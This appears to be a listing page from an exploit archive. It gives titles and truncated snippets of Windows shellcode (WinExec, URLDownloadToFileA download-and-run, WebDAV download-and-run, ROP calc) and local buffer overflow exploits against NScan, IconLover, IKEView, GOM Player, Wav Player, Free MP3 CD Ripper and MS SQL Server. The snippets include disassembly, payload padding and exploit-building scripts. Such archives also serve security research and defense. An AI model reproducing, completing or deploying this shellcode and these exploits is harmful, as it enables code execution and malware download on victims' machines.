Windows/x64 - WinExec() Shellcode (93 bytes)

/ Title : Windows x64 WinExec shellcode Date : 15-10-2016 Author : Roziul Hasan Khan Shifat size : 93 bytes Tested on : Windows 7 Ultimate x64 / / Disassembly of section .text: 0000000000000000 : 0: 99 cltd 1: 65 48 8b 42 60 mov %gs:0x60%rdx,%rax 6: 48 8b 40 18 mov 0x18%rax,%rax a: 48 8b 70 10 mo...

NScan 0.9.1 - Target Local Buffer Overflow

NScan 0.9.1 - Target Local Buffer Overflow ''' + Credits: John Page aka HYP3RLINX + Website: hyp3rlinx.altervista.org + Source: http://hyp3rlinx.altervista.org/advisories/NECROSCAN-BUFFER-OVERFLOW.txt + ISR: ApparitionSec Vendor: =================== nscan.hypermart.net Product:...

Windows x86 URLDownloadToFileA+SetFileAttributesA+WinExec+ExitProcess Shellcode

Windows x86 URLDownloadToFileA+SetFileAttributesA+WinExec+ExitProcess Shellcode. Shellcode exploit for win32 platform / Title : Windows x86 URLDownloadToFileA+SetFileAttributesA+WinExec+ExitProcess shellcode Date : 12-07-2016 Author : Roziul Hasan Khan Shifat Tested on: Windows 7 x86 / /...

Windows/x86 - URLDownloadToFileA() + SetFileAttributesA() + WinExec() + ExitProcess() Shellcode (394

/ Title : Windows x86 URLDownloadToFileA+SetFileAttributesA+WinExec+ExitProcess shellcode Date : 12-07-2016 Author : Roziul Hasan Khan Shifat Tested on: Windows 7 x86 / / Disassembly of section .text: 00000000 : 0: 31 c9 xor %ecx,%ecx 2: 64 8b 41 30 mov %fs:0x30%ecx,%eax 6: 8b 40 0c mov...

Windows x86 WinExec"cmd.exe",0 Shellcode

Windows x86 WinExec"cmd.exe",0 Shellcode. Shellcode exploit for win32 platform / Title : Windows x86 WinExec"cmd.exe",0 shellcode Date : 07/06/2016 Author : Roziul Hasan Khan Shifat Tested On : Windows 7 Professional x86 / / To Compile: -------------- $nasm -f win32 winexec.asm -o exec.obj Linkin...

Windows/x86 - WinExec("cmd.exe",0) Shellcode (184 bytes)

/ Title : Windows x86 WinExec"cmd.exe",0 shellcode Date : 07/06/2016 Author : Roziul Hasan Khan Shifat Tested On : Windows 7 Professional x86 / / To Compile: -------------- $nasm -f win32 winexec.asm -o exec.obj Linking: ---------- $ "C:\Program Files\CodeBlocks\MinGW\bin\ld.exe" -o winexec.exe...

x86 Windows Null-Free Download & Run via WebDAV Shellcode 96 bytes

x86 Windows Null-Free Download & Run via WebDAV Shellcode 96 bytes. Shellcode exploit for win32 platform / Author: Sean Dillon Copyright: c 2016 RiskSense, Inc. https://risksense.com Release Date: March 1, 2016 Description: x86 Windows null-free download & run via WebDAV shellcode Assembled Size:...

Windows/x86 - Download & Run via WebDAV Null Free Shellcode (96 bytes)

/ Author: Sean Dillon Copyright: c 2016 RiskSense, Inc. https://risksense.com Release Date: March 1, 2016 Description: x86 Windows null-free download & run via WebDAV shellcode Assembled Size: 96 bytes Tested On: Windows XP, Windows 10 License: http://opensource.org/licenses/MIT Build/Run: MSVC...

Windows XP-10 - Null-Free WinExec Shellcode Python

Windows XP-10 - Null-Free WinExec Shellcode Python. Shellcode exploit for generator platform All Windows Null-Free WinExec Shellcode """ Coded by B3mB4m Concat : [email protected] Home : b3mb4m.blogspot.com 10.12.2015 Tested on : Windows XP/SP3 x86 Windows 7 Ultimate x64 Windows 8.1 Pro Build 9600 x...

win32/xp SP3 x86 Null-Free WinExec Shellcode

This is a tool written in python to generate shellcode to use on Microsoft Windows. All Windows Null-Free WinExec Shellcode """ Coded by B3mB4m Concat : email protected Home : b3mb4m.blogspot.com 10.12.2015 Tested on : Windows XP/SP3 x86 Windows 7 Ultimate x64 Windows 8.1 Pro Build 9600 x64 Windo...

IconLover 5.42 - Local Buffer Overflow

Exploit Title: IconLover v5.42 Buffer Overflow Exploit Date: 29/09/2015 Exploit Author: cor3sm4sh3r Author email: cor3sm4sh3ratgmail.com Contact: https://in.linkedin.com/in/cor3sm4sh3r Twitter: https://twitter.com/cor3sm4sh3r Category: Local Tested : win XP professional sp2 ''' Credits & Authors:...

IKEView.exe R60 - .elg Local (SEH)

IKEView.exe R60 - .elg Local SEH Exploit Title: IKEView.exe R60 localSEH Exploit Date: 17/09/2015 Exploit Author: cor3sm4sh3r Author email: cor3sm4sh3ratgmail.com Contact: https://in.linkedin.com/pub/shravan-kumar-ceh-oscp/103/414/450 Category: Local + Gr337z: hyp3rlinx for finding the bug +...

MS SQL Server 2000/2005 SQLNS.SQLNamespace COM Object Refresh() Unhandled Pointer Exploit

No description provided by source. % Function PaddingintLen Dim strRet, intSize intSize = intLen/2 - 1 For I = 0 To intSize Step 1 strRet = strRet & unescape"%u4141" Next Padding = strRet End Function Function PackDWORDstrPoint strTmp = replacestrPoint, "0x", "" PackDWORD = PackDWORD & UnEscape"%...

MS SQL Server 20002005 - SQLNS.SQLNamespace COM Object Refresh() Unhandled Pointer

MS SQL Server 20002005 - SQLNS.SQLNamespace COM Object Refresh Unhandled Pointer % Function PaddingintLen Dim strRet, intSize intSize = intLen/2 - 1 For I = 0 To intSize Step 1 strRet = strRet & unescape"%u4141" Next Padding = strRet End Function Function PackDWORDstrPoint strTmp = replacestrPoin...

MS SQL Server 2000/2005 - SQLNS.SQLNamespace COM Object Refresh() Unhandled Pointer

% Function PaddingintLen Dim strRet, intSize intSize = intLen/2 - 1 For I = 0 To intSize Step 1 strRet = strRet & unescape"%u4141" Next Padding = strRet End Function Function PackDWORDstrPoint strTmp = replacestrPoint, "0x", "" PackDWORD = PackDWORD & UnEscape"%u" & MidstrTmp, 5, 2 & MidstrTmp, 7...

Free-MP3-CD-Ripper-1.1-DEP

Exploit Title: Free MP3 CD Ripper 1.1 Universal DEP Bypass Exploit Date: 27\08\2011 Author: C4SS!0 G0M3S Software Link: http://www.brothersoft.com/free-mp3-cd-ripper-84543.html Version: 1.1 from struct import pack from time import sleep import os from sys import exit print ''' Created By C4SS!0...

Wav-Player-1.1.3.6-(.pll)

Open the wav player, make a playlist and save it. Then, close the player and run this exploit to create the new playlist. When you open again wav player, you will see the calc. fichero = open"wvplayer.pll", "w" print "+ Creating exploit .pll..." fichero.write"A"1034 Padding fichero.write"t%dA" he...

GOM-Player-2.1.33.5071-ASX-File-Unicode

Exploit Title: GOM Player Crafted ASX File Unicode Stack Buffer Overflow and Arbitrary Code Execution. Version: 2.1.33.5071 Date: 30-11-2011 Author: Debasish Mandal Peter Van Eeckhoutte corelanc0d3r rawinput" Press Enter to generate the crafted ASX..." size = 2046 Shellcode WinExec "Calc.exe"...

Windows XP PRO SP3 - Full ROP calc shellcode

No description provided by source. / Shellcode: Windows XP PRO SP3 - Full ROP calc shellcode Author: b33f http://www.fuzzysecurity.com/ Notes: This is probably not the most efficient way but I gave the dll's a run for their money ; Greets: Donato, Jahmel OS-DLL's used: Base | Top | Size | Version...

Win32 Mini HardCode WinExec&ExitProcess Shellcode 16 bytes

No description provided by source. Title: Win32 Mini HardCode WinExec&ExitProcess Shellcode 16 bytes ;Test on xpsp2cn,no zero in shellcode,it will run write.exe ;--------------------------------------------- push 7C808E9DH ;write ;68 xx xx xx xx ;program string in memory push 7C81CAA2H ;exitproce...